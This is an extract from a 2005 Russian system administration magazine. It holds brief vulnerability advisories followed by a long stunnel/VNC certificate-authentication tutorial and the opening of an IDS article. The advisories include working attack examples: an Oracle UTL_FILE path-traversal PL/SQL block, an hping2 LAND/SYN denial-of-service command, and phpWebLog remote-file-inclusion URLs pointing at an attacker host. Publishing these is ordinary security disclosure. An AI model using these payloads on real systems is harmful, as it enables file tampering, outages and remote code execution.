Раскрытие информациив Oracle Database ServerПрограмма: Oracle Database Server 8i, 9i.Опасность: Низкая.Описание: Уязвимость существует в пакете UTL_FILE из-занекорректной обработки входных данных в некоторых функ-циях. Удаленный авторизованный пользователь может из-менить значение некоторых объектов функции MEDIA_DIRна символы обхода каталога и получить доступ на чтение изапись к произвольным файлам на системе. Пример:

URL производителя: http://www.oracle.com.Решение: Установите исправление от производителя.

Составил Александр Антипов

declaref utl_file.file_type;beginf:=UTL_FILE.FOPEN('MEDIA_DIR','\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\Unbreakable.txt','w',1000);UTL_FILE.PUT_LINE (f,'Sure',TRUE);UTL_FILE.FCLOSE(f);end;

LAND-атака в Microsoft WindowsПрограмма: Microsoft Windows XP, Microsoft Windows 2003.Опасность: Высокая.Описание: Уязвимость существует при обработке SYN-па-кетов. Удаленный пользователь может послать большое ко-личество SYN-пакетов на открытый порт системы и выз-вать 100% загрузку процессора. Пример:

URL производителя: http://www.microsoft.com.Решение: Способов устранения уязвимости не существу-ет в настоящее время. В качестве временного решения ре-комендуется использовать межсетевой экран.

hping2 192.168.0.1 -s 135 -p 135 -S -a 192.168.0.1

PHP-инклудинг в phpWebLogПрограмма: phpWebLog 0.5.3 и более ранние версииОпасность: Высокая.Описание: Уязвимость существует в сценариях include/init.inc.php и backend/addons/links/index.php из-за некоррек-тной обработки входных данных в переменных G_PATH иPATH. Удаленный пользователь может с помощью специ-ально сформированного URL выполнить произвольный php-сценарий на уязвимой системе. Пример:

URL производителя: http://phpweblog.org.Решение: Способов устранения уязвимости не существу-ет в настоящее время.

http://[target]/[dir]/include/init.inc.php? ↵↵↵↵↵G_PATH=http://[attacker]/

http://[target]/[dir]/backend/addons/links/inde x.php? ↵↵↵↵↵PATH=http://[attacker]/

Page 60: 028 Системный Администратор 03 2005

58

безопасность

Сегодня мы займемся изучением тонкостей работы меха-низма аутентификации stunnel с помощью SSL-сертифика-тов. Плюс заодно разберемся, для чего может пригодитьсяWindows-версия этой программы.

Представим, что у нас есть сервер, на котором работа-ет Windows 2000 Advanced Server. Хотелось бы уметь уда-ленно управлять сервером с двух UNIX-машин. В качестветаковых выступают рабочая станция на основе FreeBSD 5.3и ноутбук c ALT Linux Master 2.4. Соответственно, машиныимеют имена win2000.unreal.net, altlinux.unreal.net, freebsd53.unreal.net и адреса 10.10.21.46, 10.10.21.29, 10.10.21.30.

Для решения поставленной задачи можно использоватьнесколько программ. К примеру, Citrix ICA Client, Radmin,Rdesktop, VNC. Устанавливать и настраивать на сервереCitrix или Terminal Server ради одного человека смысла нет.Radmin для UNIX в природе не существует, значит, опять

пришлось бы возиться с каким-либо эмулятором. Решив неплодить сущностей без надобности, я воспользовался пос-ледним вариантом в виде VNC, так как бесплатен и суще-ствует для всех указанных платформ. Реализаций прото-кола VNC на свете довольно много. Наиболее известны изних RealVNC, TightVNC, t-VNC и еще несколько клонов. Не-которые, как TightVNC и t-VNC, направлены на минимиза-цию сетевого трафика, другие же, такие как RealVNC, – наиспользование шифрования. К сожалению, под WindowsRealVNC не бесплатна, поэтому пришлось использоватьстандартную свободную реализацию TightVNC без шифро-вания. Для защиты передаваемых данных, как вы уже, на-верно, догадались, будет использоваться stunnel.

Займемся установкой нужных пакетов на Windows-сер-вер. Скачиваем с сайта TightVNC: http://tightvnc.com свежийрелиз программы. На момент написания статьи была акту-

ЗАЩИТА СЕТЕВЫХ СЕРВИСОВС ПОМОЩЬЮ stunnelЧАСТЬ 3

АНДРЕЙ БЕШКОВ

Page 61: 028 Системный Администратор 03 2005

59№3, март 2005

безопасность

альна версия 1.2.9. Инсталляция достаточно тривиальна:большую часть времени можно просто нажимать кнопку«Далее». Затем нужно убедиться, что был выбран следую-щий набор компонентов.

Разрешаем стартовать серверу VNC автоматически каксистемному сервису. После этого получаем предупреждениеоб отсутствии пароля и на следующем экране вводим его.

По умолчанию VNC ждет соединений на порту 5800 длястандартных клиентов и 5900 для тех, кто использует вкачестве клиента браузер. Нажав кнопку «Advanced», по-лучаем следующий диалог, с помощью которого разреша-ем входящие соединения только с интерфейса локальнойпетли.

Таким образом, получается, что на внешнем интерфей-се входящие соединения на порты 5800 и 5900 будет полу-чать stunnel и после расшифровки передавать их на соот-ветствующий порт локальной петли.

Теперь уже можно проверить работу VNC c помощью кли-ента, установленного на локальной машине. Не забываем,что присоединяться надо по адресу 127.0.0.1. Если все ра-ботает, переходим к установке stunnel. Сделать это можнодвумя путями: либо компилировать пакет из исходных тек-стов, либо взять уже готовый по адресу: htpp://stunnel.org/download/binaries.html. Там же не забываем взять реализа-цию OpenSSL для Windows. Полный пакет OpenSSL нам ненужен, необходимы лишь библиотеки libeay32.dll и libssl32.dll,скачать их можно на той же странице. Нормальным инстал-лятором stunnel так до сих пор и не обзавелся, поэтому при-ходится делать все вручную. Кладем stunnel-4.05.exe вC:\Stunnel и добавляем туда же весь OpenSSL или скачан-ные dll. Затем создаем директорию C:\Stunnel\certs. На этомпроцедуру установки для Windows можно считать закончен-ной. Осталось лишь настроить stunnel, но об этом позже.

Установку stunnel и OpenSSL для FreeBSD и Linux мы об-суждали в предыдущих частях этой статьи1, поэтому оста-навливаться на данном вопросе не будем. Теперь нужно по-ставить VNC. Для FreeBSD устанавливаем tightVNC стандар-тным способом из портов. К сожалению, в репозитарии па-кетов ALT Linux пакет tightVNC отсутствует, поэтому ставимстандартный VNC, они все равно совместимы между собой.

Пришло время создать SSL-сертификаты, с помощьюкоторых мы будем проводить взаимную аутентификациюклиентов и сервера. Это можно сделать на любой из ис-пользуемых нами платформ. Но все же стоит отметить, чтопод Windows выполнять подобные действия неудобно из-за бедности функционала, портированного OpenSSL.

Для остальных обсуждаемых в этой статье систем про-цедура практически одинакова, все отличия обычно состо-ят в именах директорий, используемых во время работы.FreeBSD хранит исполняемый файл openssl в /usr/local/bin/openssl, а ALT Linux – в /usr/bin/openssl. Плюс к этому вспо-могательный скрипт CA.pl, представляющий для нас осо-бую важность, в первом случае лежит в директории /usr/local/openssl/misc, а во втором – внутри /var/lib/ssl/misc. Впро-чем, не стоит переживать: я обязательно подробно опишу

1 1. Бешков А. Защита сетевых сервисов с помощью stunnel. – журнал «Системный администратор», №12, декабрь 2004 г.

2. Бешков А. Защита сетевых сервисов с помощью stunnel. Часть 2. – журнал «Системный администратор», №1, январь 2005 г.

Page 62: 028 Системный Администратор 03 2005

60

безопасность

всю процедуру генерации сертификатов для обеих систем.Авторизацию с помощью сертификатов можно настро-

ить разными путями даже внутри одной и той же системы.Итак, подход первый: создать три независимых самодель-ных сертификата, по одному для всех участников шифро-ванного туннеля. Такой способ подкупает простотой реа-лизации, но в качестве минусов получаем невозможность,проверить подлинность сертификата через корневой сер-вер сертификации. Впрочем, в нашем случае это не играетособой роли.

Для начала исправляем файл openssl.cnf, дабы не на-бирать нижеприведенные данные каждый раз заново присоздании сертификата.

Во FreeBSD openssl.cnf находится в /usr/local/openssl/, апод ALT Linux соответственно в /var/lib/ssl/.

Начнем с FreeBSD. Переходим в любую удобную дирек-торию и выполняем команды:

Большинство полей в сертификате совпадают с нашимизначениями по умолчанию, во время генерации сертифика-тов нам просто нужно нажимать «Enter». Единственное, чтонужно менять, – это поле CN (Common name). Заполнятьего нужно в соответствии с полным доменным именем ком-пьютера, для которого предназначается сертификат.

Таким образом, мы создали пару сертификат-ключ длявсех наших машин. Теперь ключ лежит в файле с суффик-сом key, а сертификат соответственно в файле с суффик-сом cert. В ALT Linux все вышеприведенные команды будутиметь тот же эффект. Хотя для этой системы есть и другойспособ. Чтобы изучить его, переходим в /var/lib/ssl/certs/ ивыполняем команды:

Это способ не столь удобен, как предыдущий, и требуетбольше ручного труда. Дело в том, что теперь ключ и сер-тификат каждой машины лежат вместе в одном файле. Сле-довательно, придется вручную разносить их по отдельнымфайлам.

Для того чтобы системы, соединенные с помощьюstunnel, могли провести аутентификацию, они должны до-верять публичным сертификатам друг друга. Соответствен-но клиенты должны доверять сертификату сервера и на-оборот. Давайте изготовим файл с доверенными сертифи-катами для машины win2000. Для этого объединяем серти-фикаты altlinuxcert.pem и freebsdcert.pem в файл trusted.pem.

Переносим файлы win2000key.pem, win2000cert.pem иtrusted.pem на Windows-машину и кладем в директориюC:\Stunnel\certs\.

Таким же образом на FreeBSD копируем файлы freebsd-key.pem и freebsdcert.pem, а на Linux, соответственно,altlinuxkey.pem altlinuxcert.pem. Для клиентов в качествефайла с сертификатом доверия выступает win2000cert.pem,поэтому обязательно отправляем его на обе машины и дляединообразия переименовываем в trusted.pem. Также не за-бываем на клиентских машинах положить файлы ключа исертификатов в /usr/local/etc/stunnel/certs/.

Стоит обратить внимание на то, что vnc может работатьлибо самостоятельно, либо как подключаемый модуль веб-браузера. В первом случае нужно проводить аутентифика-цию и шифровать трафик, а во втором случае будет дос-тупно только шифрование, потому что непонятно, как кли-ентский браузер сможет предъявить свой сертификат сер-веру. Отсюда делаем вывод, что на машине с Windows дол-жно работать два независимых демона stunnel. Один с ав-торизацией, другой – без.

Теперь пришло время создать конфигурационные фай-лы. Для Windows содержимое vnc_server.cnf выглядит так:

Конфигурация второго экземпляра stunnel, хранящаясяв vnc_server1.cnf, соответственно такова:

Теперь посмотрим, на что похожа конфигурация дляFreeBSD.

countryName_default = RUstateOrProvinceName_default = Rostov regionlocalityName = Rostov-on-Don0.organizationName_default = Tigrisha HomeemailAddress = [email protected]

# openssl req �nodes �new �days 365 �newkey rsa:1024 ↵↵↵↵↵�x509 �keyout win2000key.pem �out win2000cert.pem

# openssl req �nodes �new �days 365 �newkey rsa:1024 ↵↵↵↵↵�x509 �keyout altlinuxkey.pem �out altlinuxcert.pem

# openssl req �nodes �new �days 365 �newkey rsa:1024 ↵↵↵↵↵�x509 �keyout freebsdkey.pem �out freebsdcert.pem

cert = C:\stunnel\certs\win2000cert.pemkey = C:\stunnel\certs\win2000key.pemCAFile = C:\stunnel\certs\trusted.pemCRLfile = C:\stunnel\certs\crl.pemdebug = 7output = C:\stunnel\stunnel.logverify = 3[vnc]accept = 10.10.21.46:5800connect = 127.0.0.1:5800

[vnc-https]cert = C:\stunnel\certs\win2000cert.pemkey = C:\stunnel\certs\win2000key.pemdebug = 7output = C:\stunnel\stunnel.logaccept = 10.10.21.46:5900connect = 127.0.0.1:5900

# make win2000.pem# make altlinux.pem# make freebsd.pem

# cat altlinuxcert.pem freebsdcert.pem > trusted.pem

cert = /usr/local/etc/stunnel/certs/freebsdcert.pemkey = /usr/local/etc/stunnel/certs/freebsdkey.pemCAFile = /usr/local/etc/stunnel/certs/trusted.pemCRLfile = /usr/local/etc/stunnel/certs/crl.pem

chroot = /var/tmp/stunnel/pid = /stunnel.pidsetuid = stunnelsetgid = stunneldebug = 7output = /var/log/stunnel.logclient = yesverify = 3

Page 63: 028 Системный Администратор 03 2005

61№3, март 2005

безопасность

Конфигурационный файл для ALT Linux выглядит так:

На этом можно остановиться. Перед запуском стоитобсудить особенности конфигурационных файлов, с кото-рыми мы еще не сталкивались. CAFile – указывает, в ка-ком файле хранятся доверенные сертификаты. CRLfile –описывает имя файла, где должны находиться отозванныесертификаты. Такая возможность полезна, к примеру, еслисертификат клиента каким-либо образом попал к злоумыш-леннику, и теперь нам нужно заблокировать его. И, нако-нец, самая важная опция – verify. Она определяет, какимобразом при начале соединения будут проверяться серти-фикаты клиента и сервера. Значением переменной долж-но быть число от 0 до 3. Давайте посмотрим, что значиткаждое из них.! 0 – наличие и подлинность сертификатов не проверяет-

ся. Это значение по умолчанию, оно также эквивалент-но слову «no».

! 1 – подлинность сертификата проверяется только приналичии такового. В случае если сертификат не прохо-дит проверку, то соединение будет разорвано. В то жевремя при отсутствии сертификата соединение будетразрешено.

! 2 – проверяется наличие и подлинность сертификата.Если сертификат отсутствует или в результате провер-ки считается фальшивым, соединение разрывается.

! 3 – для создания соединения требуется обязательноеналичие сертификата и его присутствие в списке дове-ренных.

Итак, разобравшись с опциями, запускаем stunnel на всехмашинах и смотрим, что появляется в файлах stunnel.log подWindows.

Ну а для Linux записи в файле протокола должны выг-лядеть примерно так:

Думаю, всем понятно, что в протоколах системы FreeBSDбудет написано примерно то же, что хранится в протоколахсистемы Linux. Особое внимание стоит обратить на сооб-щения о считывании файлов сертификатов.

Теперь нужно попробовать присоединиться к серверуWindows с любой из клиентских машин с помощью програм-мы vncviewer.

Все должно пройти как по маслу. А в файлах протоко-лов соответственно появится что-то вроде:

2005.02.28 10:26:08 LOG5[10323:16384]: stunnel 4.05 on

i686-pc-linux-gnu PTHREAD with OpenSSL 0.9.7d 17 Mar 2004

2005.02.28 10:26:08 LOG7[10323:16384]: Snagged 64 random bytes from

/root/.rnd

2005.02.28 10:26:08 LOG7[10323:16384]: Wrote 1024 new random bytes

to /root/.rnd

2005.02.28 10:26:08 LOG7[10323:16384]: RAND_status claims sufficient

entropy for the PRNG

2005.02.28 10:26:08 LOG6[10323:16384]: PRNG seeded successfully

2005.02.28 10:26:08 LOG7[10323:16384]: Certificate:

/usr/local/etc/stunnel/certs/altlinuxcert.pem

2005.02.28 10:26:08 LOG7[10323:16384]: Key file:

/usr/local/etc/stunnel/certs/altlinuxkey.pem

2005.02.28 10:26:08 LOG7[10323:16384]: Loaded verify certificates from

/usr/local/etc/stunnel/certs/trusted.pem

2005.02.28 10:26:08 LOG5[10323:16384]: FD_SETSIZE=1024,

file ulimit=1024 -> 500 clients allowed

2005.02.28 10:26:08 LOG7[10323:16384]: FD 6 in non-blocking mode

2005.02.28 10:26:08 LOG7[10323:16384]: SO_REUSEADDR option set on

accept socket

2005.02.28 10:26:08 LOG7[10323:16384]: vnc bound to 10.10.21.75:3307

cert = /usr/local/etc/stunnel/certs/altlinuxcert.pemkey = /usr/local/etc/stunnel/certs/altlinuxkey.pemCAFile = /usr/local/etc/stunnel/certs/trusted.pemCRLfile = /usr/local/etc/stunnel/certs/crl.pemchroot = /var/tmp/stunnel/pid = /stunnel.pidsetuid = stunnelsetgid = stunneldebug = 7output = /var/log/stunnel.logclient = yesverify = 3[vnc]accept = 127.0.0.1:5800connect = 10.10.21.46:5800

[vnc]accept = 127.0.0.1:5800connect = 10.10.21.46:5800

2005.02.28 19:10:33 LOG5[776:724]: stunnel 4.05 on x86-pc-mingw32-gnu

WIN32 with OpenSSL 0.9.7e 25 Oct 2004

2005.02.28 19:10:33 LOG7[776:1108]: RAND_status claims sufficient

entropy for the PRNG

2005.02.28 19:10:33 LOG6[776:1108]: PRNG seeded successfully

2005.02.28 19:10:33 LOG7[776:1108]: Certificate:

C:\stunnel\certs\win2000cert.pem

2005.02.28 19:10:33 LOG7[776:1108]: Key file:

C:\stunnel\certs\win2000key.pem

2005.02.28 19:10:33 LOG7[776:1108]: Loaded verify certificates from

C:\stunnel\certs\trusted.pem

2005.02.28 19:10:33 LOG5[776:1108]: WIN32 platform:

30000 clients allowed

2005.02.28 19:10:33 LOG7[776:1108]: FD 156 in non-blocking mode

2005.02.28 19:10:33 LOG7[776:1108]: SO_REUSEADDR option set on

accept socket

2005.02.28 19:10:33 LOG7[776:1108]: vnc bound to 10.10.21.46:5800

2005.02.28 19:10:33 LOG7[776:1108]: vnc-https bound to 10.10.21.46:5900

2005.02.28 19:10:33 LOG7[776:1108]: FD 189 in non-blocking mode

2005.02.28 19:10:33 LOG7[776:1108]: SO_REUSEADDR option set on

accept socket

2005.02.28 19:10:33 LOG7[776:1108]: vnc-https bound to 10.10.21.46:5900

2005.02.26 21:48:00 LOG7[7492:16384]: vnc accepted FD=11 from

10.10.21.29:51902

2005.02.26 21:48:00 LOG7[7492:16384]: FD 11 in non-blocking mode

2005.02.26 21:48:00 LOG7[8003:32770]: vnc started

2005.02.26 21:48:00 LOG5[8003:32770]: vnc connected from

10.10.21.29:51902

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

before/accept initialization

2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=11, DIR=read

2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

SSLv3 read client hello A

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

SSLv3 write server hello A

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

SSLv3 write certificate A

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

SSLv3 write certificate request A

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

SSLv3 flush data

2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=11, DIR=read

2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok

2005.02.26 21:48:00 LOG5[8003:32770]: VERIFY OK: depth=0,

/C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/CN=win2000.unreal.net

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

SSLv3 read client certificate A

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

SSLv3 read client key exchange A

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

SSLv3 read certificate verify A

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

SSLv3 read finished A

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

SSLv3 write change cipher spec A

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

SSLv3 write finished A

Page 64: 028 Системный Администратор 03 2005

62

безопасность

Особое внимание стоит обратить на строчку со следую-щими символами:

Четко видно, как сертификат сервера был опознан кли-ентом. Соответственно, в протоколах сервера можно уви-деть:

Стоит отметить, что в случае, если файл crl.pem не бу-дет содержать сертификатов, stunnel не запустится. Все,что мы получим, – это вот такое сообщение об ошибке:

Поэтому включайте возможность отзыва сертификатовтолько в том случае, если она действительно необходима.

Разобравшись с авторизацией, давайте посмотрим наеще один способ создания сертификатов клиента и серве-ра. В составе пакета OpenSSL версий выше 0.9.6 постав-ляется утилита CA.pl, с помощью которой генерированиесертификатов превращается из нелегкого труда по запо-минанию длинных команд в забаву. На этот раз мы посту-пим в соответствии со всеми правилами. Сначала созда-дим корневой сертификат для unreal.net, а потом с помо-щью него заверим все клиентские сертификаты.

В результате этих действий в файле cakey.pem появит-ся секретный ключ, а в cacert.pem наш корневой сертифи-кат. Затем создаем запрос на новый клиентский сертифи-кат для машины altlinux.unreal.net.

После этого во вновь созданном файле newreq.pem бу-дет находиться секретный ключ клиента и запрос на созда-ние сертификата. Осталось только заверить его с помощьюкорневого сертификата, сгенерировав таким образом но-вый клиентский сертификат.

VERIFY OK: depth=0, /C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/

CN=win2000.unreal.net

VERIFY OK: depth=0, /C=RU/ST=Rostov region/O=Tigrisha Home/OU=Test Lab/

CN=freebsd53.unreal.net

2005.03.12 10:52:12 LOG3[5934:16384]: Error loading CRLs from

/usr/local/etc/stunnel/certs/crl.pem

2005.02.26 21:48:00 LOG7[8003:32770]: SSL state (accept):

SSLv3 flush data

2005.02.26 21:48:00 LOG7[8003:32770]: 2 items in the session cache

2005.02.26 21:48:00 LOG7[8003:32770]: 0 client connects (SSL_connect())

2005.02.26 21:48:00 LOG7[8003:32770]: 0 client connects that finished

2005.02.26 21:48:00 LOG7[8003:32770]: 0 client renegotiatations requested

2005.02.26 21:48:00 LOG7[8003:32770]: 2 server connects (SSL_accept())

2005.02.26 21:48:00 LOG7[8003:32770]: 2 server connects that finished

2005.02.26 21:48:00 LOG7[8003:32770]: 0 server renegotiatiations requested

2005.02.26 21:48:00 LOG7[8003:32770]: 0 session cache hits

2005.02.26 21:48:00 LOG7[8003:32770]: 0 session cache misses

2005.02.26 21:48:00 LOG7[8003:32770]: 0 session cache timeouts

2005.02.26 21:48:00 LOG6[8003:32770]:

Negotiated ciphers: AES256-SHA SSLv3 Kx=RSA Au=RSA

Enc=AES(256) Mac=SHA1

2005.02.26 21:48:00 LOG7[8003:32770]: FD 14 in non-blocking mode

2005.02.26 21:48:00 LOG7[8003:32770]: vnc connecting 127.0.0.1:5800

2005.02.26 21:48:00 LOG7[8003:32770]: remote connect #1: EINPROGRESS: retrying

2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: FD=14, DIR=write

2005.02.26 21:48:00 LOG7[8003:32770]: waitforsocket: ok

2005.02.26 21:48:00 LOG7[8003:32770]: Remote FD=14 initialized

2005.02.26 21:49:09 LOG7[8003:32770]: Socket closed on read

2005.02.26 21:49:09 LOG7[8003:32770]: SSL write shutdown (output buffer empty)

2005.02.26 21:49:09 LOG7[8003:32770]: SSL alert (write): warning: close notify

2005.02.26 21:49:09 LOG7[8003:32770]: SSL_shutdown retrying

2005.02.26 21:49:09 LOG7[8003:32770]: SSL alert (read): warning: close notify

2005.02.26 21:49:09 LOG7[8003:32770]: SSL closed on SSL_read

2005.02.26 21:49:09 LOG7[8003:32770]: Socket write shutdown (output buffer empty)

2005.02.26 21:49:09 LOG5[8003:32770]: Connection closed:229164 bytes sent to SSL,

188234 bytes sent to socket

2005.02.26 21:49:09 LOG7[8003:32770]: vnc finished (0 left)

# /var/lib/ssl/misc/CA.pl -newreqGenerating a 1024 bit RSA private key

.......................................................................++++++

........................................++++++

writing new private key to 'newreq.pem'

Enter PEM pass phrase:

Verifying - Enter PEM pass phrase:

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [AU]:RU

State or Province Name (full name) [Some-State]:Rostov region

Locality Name (eg, city) []:Rostov-on-Don

Organization Name (eg, company) [Internet Widgits Pty Ltd]:Tigrisha home

Organizational Unit Name (eg, section) []:Test Lab

Common Name (eg, your name or your server's hostname) []:altlinux.unreal.net

Email Address []:[email protected]

# /var/lib/ssl/misc/CA.pl -signUsing configuration from /var/lib/ssl/openssl.cnf

Enter pass phrase for ./demoCA/private/cakey.pem:

Check that the request matches the signature

Signature ok

Certificate Details:

Serial Number: 1 (0x1)

Validity

Not Before: Feb 8 18:39:33 2005 GMT

Not After : Feb 8 18:39:33 2006 GMT

Subject:

countryName = RU

stateOrProvinceName = Rostov region

localityName = Rostov-on-Don

organizationName = Tigrisha home

organizationalUnitName = Test Lab

commonName = altlinux.unreal.net

emailAddress = [email protected]

X509v3 extensions:

X509v3 Basic Constraints:

CA:FALSE

Netscape Comment:

OpenSSL Generated Certificate

X509v3 Subject Key Identifier:

BF:01:B4:1C:AA:2C:46:8E:0B:B6:9D:70:BA:AA:D3:86:DC:8F:8A:09

X509v3 Authority Key Identifier:

keyid:F8:66:F7:4E:F9:3F:7A:C7:83:BC:0C:84:40:AD:2F:3F:FC:5A:9C:AC

DirName:/C=RU/ST=Rostov region/L=Rostov-on-Don/O=Tigrisha home/

OU=Test Lab/CN=unreal.net/[email protected]

serial:00

Certificate is to be certified until Feb 8 18:39:33 2006 GMT (365 days)

Sign the certificate? [y/n]:y

1 out of 1 certificate requests certified, commit? [y/n]y

Write out database with 1 new entries

Data Base Updated

Signed certificate is in newcert.pem

# /var/lib/ssl/misc/CA.pl -newcaCA certificate filename (or enter to create)

Making CA certificate ...

Generating a 1024 bit RSA private key

.....++++++

.......................................++++++

writing new private key to './demoCA/private/cakey.pem'

Enter PEM pass phrase:

Verifying - Enter PEM pass phrase:

-----

You are about to be asked to enter information that will be incorporated

into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.

There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

-----

Country Name (2 letter code) [AU]:RU

State or Province Name (full name) [Some-State]:Rostov region

Locality Name (eg, city) []:Rostov-on-Don

Organization Name (eg, company) [Internet Widgits Pty Ltd]:Tigrisha home

Organizational Unit Name (eg, section) []:Test Lab

Common Name (eg, your name or your server's hostname) []:unreal.net

Email Address []:[email protected]

Page 65: 028 Системный Администратор 03 2005

63№3, март 2005

безопасность

Для Windows:

Если опираться в своих действиях на официальную до-кументацию к stunnel, то, сложив все доверенные сертифи-каты в папку trusted, можно было бы попытаться запуститьдемонов на сервере и клиентах и радоваться полученномурезультату. Но не тут то было – запуск пройдет гладко, а вотаутентификация функционировать не будет. По крайнеймере, у меня таким способом вообще ничего не заработало.Все дело в том, что для совместимости со специфическимиособенностями stunnel имена файлов доверенных сертифи-катов должны быть в особом формате. А точнее имя файладолжно соответствовать хэшу, вычисленному по содержи-мому сертификата. Чтобы узнать хэш того или иного файлапод ALT Linux, нужно выполнить следующую команду:

Таким образом, становится понятно, что файл сертифи-ката win2000cert.pem нужно переименовать в b71698b3.0.После того как вы проведете подобные действия на осталь-ных машинах, можно запускать stunnel. Стоит отметить, чтово FreeBSD утилита c_hash будет находиться в директории/usr/local/openssl/misc. Также необходимо обратить внима-ние на тот факт, что для Windows в стандартной поставкеopenssl программа c_hash отсутствует. Поэтому хэши клю-чей нужно будет вычислять на Linux или FreeBSD. Един-ственное различие будет в том, что в файл протокола пристарте записываются следующие сообщения, касающиесядоверенных сертификатов.

В остальном работа системы будет выглядеть точно также, как если бы доверенные сертификаты хранились в од-ном файле. Думаю, на этом можно считать тему аутенти-фикации клиентов stunnel с помощью сертификатов исчер-панной. А значит, подошла к концу и эта серия статей.

После всех этих мытарств сертификат клиента находит-ся в файле newcert.pem. Повторяем эти шаги для осталь-ных клиентов. При этом не стоит забывать, что в файлыnewcert.pem и newreq.pem перезаписываются при каждомзапуске CA.pl c ключами -sign и -newreq, отсюда следует,что после завершения цикла генерации ключа и сертифи-ката лучше переименовывать эти файлы так, чтобы своимименем они отражали принадлежность тому или иному кли-енту. К примеру, для клиента altlinux.unreal.net файлы дол-жны называться altlinuxcert.pem и altlinuxkey.pem.

Еще одно обстоятельство, о котором стоит помнить, –из файла newreq.pem после заверения сертификата лучшевсего удалять запрос на сертификацию. Он начинается стро-кой -------BEGIN CERTIFICATE REQUEST--------- и заканчи-вается, соответственно ----END CERTIFICATE REQUEST-----Если этого не сделать, то некоторые версии stunnel завер-шаются с ошибкой при попытке работы с таким файлом.

Итак, мы создали все необходимые сертификаты и по-местили их в trusted.pem. Конечно, не стоит забывать, чтофайл trusted.pem должен быть разным для клиентов и сер-вера. В остальном этот способ полностью совпадает с тем,что мы протестировали выше.

Вручную добавлять сертификаты в trusted.pem доволь-но просто, а вот удалять их потом оттуда в случае, еслихочется отказать какому-либо клиенту в доступе, несколь-ко неудобно. В системах с малым количеством клиентовэто еще терпимо, а в большом вычислительном комплексес несколькими сотнями сертификатов это может превра-титься в головную боль.

Поэтому давайте рассмотрим другой способ управле-ния сертификатами. В этом случае мы будем помещатькаждый сертификат в отдельный файл. Затем доверенныесертификаты кладем в директорию trusted, а отозванные –в папку crl. На клиентах и сервере создаем обе папки внут-ри директории certs. Затем вносим следующие измененияв конфигурационные файлы. Вместо строк CAFile и CRLfileвписываем следующее:

Для ALT Linux:

Для FreeBSD вносим те же изменения, что и для ALTLinux.

CRLpath = /usr/local/etc/stunnel/certs/trusted/CApath = /usr/local/etc/stunnel/certs/crl/

CRLpath = C:\stunnel\certs\crl\CApath = C:\stunnel\certs\trusted\

# /var/lib/ssl/misc/c_hash / ↵↵↵↵↵/usr/local/etc/stunnel/certs/trusted/*.pem

b71698b3.0 => /usr/local/etc/stunnel/certs/trusted/win2000cert.pem

2005.03.14 11:19:03 LOG7[7068:16384]: Verify directory set to

/usr/local/etc/stunnel/certs/trusted/

2005.03.14 11:19:03 LOG5[7068:16384]: Peer certificate location

/usr/local/etc/stunnel/certs/trusted/

Page 66: 028 Системный Администратор 03 2005

64

безопасность

Интересно сегодня наблюдать за процессом развитиясредств сетевой безопасности. Сначала считалось, что дляее обеспечения на достаточном уровне необходимо исполь-зовать межсетевой экран, который при правильной настройкепозволяет отсеивать проблемный трафик. Затем стало ясно,что межсетевой экран способен обеспечить только минималь-ный уровень защиты и в 1980 г. с публикации Джона Андер-сона (John Anderson) «Computer Security Threat Monitoringand Surveillance» началось развитие систем обнаруженияатак, хотя к их активному использованию пришли чуть поз-же – где-то в первой половине 90-х. Долгое время счита-лось, что системы обнаружения атак также являются иде-альным помощником администратора, но вскоре стали за-метны их недостатки.

В первую очередь, это очень большое количество лож-ных предупреждений, так как таким системам недостаетконтекста, и поэтому они не могут отслеживать связи меж-ду событиями. Учитывая, что опытные хакеры очень непред-сказуемы в своих действиях, выявить настоящее и хорошоподготовленное вторжение при помощи СОА довольно про-блематично, а собранная такой системой информация бы-вает малополезной при последующем анализе инцидента.Впрочем, надо отметить, это не помешало появлению та-кого класса программ, как системы остановки атак. Здесьпоступили просто, решив, что если атаку можно обнару-жить, то почему бы вместо простого оповещения не пре-кратить ее. Фактически эти системы унаследовали недо-статки СОА, но только теперь администратор, вместо тогочтобы разбираться в большом количестве предупреждений,возможно, будет выслушивать жалобы от пользователей,которые по неизвестным причинам не могут попасть в сеть.

Вот и получается, что стопроцентно принять решение остепени опасности того или иного события может только ад-министратор, самостоятельно проанализировавший ситуа-цию. А для решения этих задач СОА не совсем подходят,так как они собирают максимальную информацию только оподозрительных пакетах, остальные же данные, как прави-ло, игнорируются и будут потеряны для исследователя. Апростая логика подсказывает, что известные уязвимости,

имеющиеся в операционных системах, сервисах и прото-колах не имеют ничего общего с возможными угрозами.

На страницах журнала [5] уже рассказывалось о работесистемы обнаружения атак SHADOW – Secondary HeuristicAnalysis for Defensive Online Warfare (http://www.nswc.navy.mil/ISSEC/CID), основное отличие которой от традиционныхСОА, вроде Snort, состоит в отказе от наблюдения за конк-ретными уязвимостями и использовании статистическогоанализа потоков информации.

Другой проект – sguil пробует решить задачу обнаруже-ния атак по-своему.

